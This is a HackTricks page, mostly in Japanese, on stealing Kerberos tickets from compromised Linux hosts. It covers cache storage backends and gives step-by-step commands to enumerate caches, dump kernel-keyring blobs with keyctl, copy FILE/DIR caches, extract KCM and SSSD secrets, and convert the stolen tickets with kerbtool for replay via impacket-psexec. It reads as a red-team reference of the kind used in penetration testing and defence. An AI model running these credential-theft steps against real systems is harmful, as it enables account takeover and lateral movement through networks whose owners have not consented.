Linuxからのチケット収集

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Linuxにおける認証情報の保存

Linuxシステムは認証情報を3種類のキャッシュに保存します：Files（/tmpディレクトリ内）、Kernel Keyrings（Linuxカーネル内の特別な領域）、およびProcess Memory（単一プロセス用）。/etc/krb5.confのdefault_ccache_name変数は使用されるストレージタイプを示します。指定がなければデフォルトはFILE:/tmp/krb5cc_%{uid}です。

MIT/Heimdalはまた、post-exploitation中に確認すべき追加のバックエンドもサポートしています：

  • DIR:/run/user/%{uid}/krb5cc はディレクトリベースのマルチチケットキャッシュ用（最新のディストリでの systemd-logind のデフォルト）。
  • KEYRING:persistent:%{uid} または KEYRING:session は ccaches をカーネルキーリング内に格納します（KEY_SPEC_SESSION_KEYRING、KEY_SPEC_USER_KEYRING など）。
  • KCM:%{uid} は SSSD の Kerberos Cache Manager デーモン (kcm) がチケット保存のフロントを務める場合に使用されます。
  • MEMORY:unique_id はライブラリ（gssproxy、sshd など）によって作成されたプロセスローカルキャッシュ用です。

シェルを取得したら、ファイルをコピーし始める前に、興味のあるデーモン（例: Apache、sshd、gssproxy）の /proc/<pid>/environ から KRB5CCNAME をダンプして、どのキャッシュバックエンドが使われているかを確認してください。

アクティブなキャッシュの列挙

高価値なチケットを見落とさないよう、抽出前にキャッシュを列挙してください：

$ klist -l            # list caches registered in the local keyring/KCM
$ klist -A            # show all ticket-granting tickets in the current cache
$ sudo keyctl get_persistent @u
$ sudo keyctl show `keyctl get_persistent @u`
$ sudo ls -al /tmp/krb5cc_* /run/user/*/krb5cc*
$ sudo find /proc -maxdepth 2 -name environ -exec sh -c 'tr "\0" "\n" < {} | grep -H KRB5' \;

The combination of klist, keyctl, and /proc inspection quickly reveals whether credentials live in files, keyrings, or KCM so you can pick the right dumping technique.

資格情報の抽出

The 2017 paper, Kerberos Credential Thievery (GNU/Linux), outlines methods for extracting credentials from keyrings and processes, emphasizing the Linux kernel’s keyring mechanism for managing and storing keys.

Keyring 抽出の概要

The keyctl system call, introduced in kernel version 2.6.10, allows user space applications to interact with kernel keyrings. Credentials in keyrings are stored as components (default principal and credentials), distinct from file ccaches which also include a header. The hercules.sh script from the paper demonstrates extracting and reconstructing these components into a usable file ccache for credential theft. Remember that keyring-stored ccaches may live under KEYRING:persistent:%{uid} (permanent across logins), KEYRING:session (cleared on logout), or even KEY_SPEC_THREAD_KEYRING for services spawning helper threads—so always enumerate all keyring types for the compromised UID.

Manual KEYRING ワークフロー

You can manually harvest tickets without helper scripts whenever default_ccache_name is set to KEYRING::

$ KRING=$(keyctl get_persistent @u)
$ keyctl show $KRING                       # note the key serial of each ccache blob
$ keyctl pipe <serial> > /tmp/ccache_dump  # write raw blob to disk
$ KRB5CCNAME=/tmp/ccache_dump klist        # validate the stolen cache

If multiple principals are stored, repeat the keyctl pipe step per serial, then convert the extracted ccache to a Windows-friendly .kirbi/.ccache using tooling such as kerbtool (see below) or ticketConverter.py before replaying it from other machines.

File/DIR Cache Theft の簡単な手口

When credentials are stored as FILE: or DIR: caches, simple file operations are usually enough:

$ sudo cp /tmp/krb5cc_1000 /tmp/websvc.ccache
$ sudo cp -r /run/user/1000/krb5cc /tmp/user1000_dircc
$ chmod 600 /tmp/*.ccache && chown attacker /tmp/*.ccache

ディレクトリキャッシュはサービスチケットごとに1ファイルを含むため、TGT + TGSペアを維持するにはディレクトリ全体を圧縮してexfiltrateしてください。 また、toolingをディレクトリに直接向けることもできます: KRB5CCNAME=DIR:/tmp/user1000_dircc impacket-psexec ....

Dumping KCM-Managed Caches

SSSDのKerberos Cache Manager (kcm) は /var/run/kcm/kcmsock（または /run/.heim_org.h5l.kcm-socket）経由で認証情報のストレージをプロキシし、暗号化されたblobを .secrets.mkey と共に /var/lib/sss/secrets/ に永続化します。攻撃の流れ:

  1. /etc/krb5.conf（default_ccache_name = KCM:）や klist -l の出力からKCMの使用を確認する。
  2. UID 0を持っているか、kcm SELinuxドメインに属している場合は、管理ツール経由でキャッシュを列挙する：
$ sudo kcm_ctl list                 # lists UID + cache IDs handled by kcm
$ sudo kcm_ctl get 1000 0 > /tmp/1000.kcm.ccache
$ KRB5CCNAME=/tmp/1000.kcm.ccache klist
  1. オフライン方式: /var/lib/sss/secrets/secrets.ldb と /var/lib/sss/secrets/.secrets.mkey をコピーし、SSSDKCMExtractor（または類似のPoC）を実行してライブソケットに触れずにccaches を復号・再構成します。これはフォレンジックやソケットのACLでブロックされているがディスクへのアクセスが可能な場合に特に有用です。

kcm デーモンは SSSD によって適用される UID ベースの ACL を尊重するため、通常は root への権限昇格（または sssd_kcm の妥協）が必要ですが、一旦達成すれば数秒で全ユーザーの TGT をダンプできます。

チケット抽出ツール

上記の手順を自動化するとミスが減り、Windows のツールからリプレイできるクロスプラットフォームのチケット素材が得られます。

Tickey

Building on the principles of the hercules.sh script, the tickey tool is specifically designed for extracting tickets from keyrings, executed via /tmp/tickey -i. It enumerates kernel keyrings, reconstructs the serialized ccaches, and writes MIT-compatible cache files you can immediately feed to klist, impacket-*, or kerberoast tooling.

Kerbtool

kerbtool は Linux 上でネイティブに動作するモダンな Go ユーティリティで、Kerberos チケットの解析、変換、要求が可能です。Linux ボックスから収集する際の便利なユースケースが2つあります:

# Convert a stolen MIT ccache into a .kirbi usable by Windows tooling
$ ./kerbtool --convert --in /tmp/websvc.ccache --out websvc.kirbi

# Use an extracted cache to request additional TGS tickets without touching the victim again
$ KRB5CCNAME=/tmp/websvc.ccache ./kerbtool --ask --spn cifs/fileserver.lab.local

implant host に tickey と kerbtool の両方があると、Linux、Windows、そしてクロスプラットフォームの Kerberos 攻撃チェーン間をシームレスに移動できます。

参考資料

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする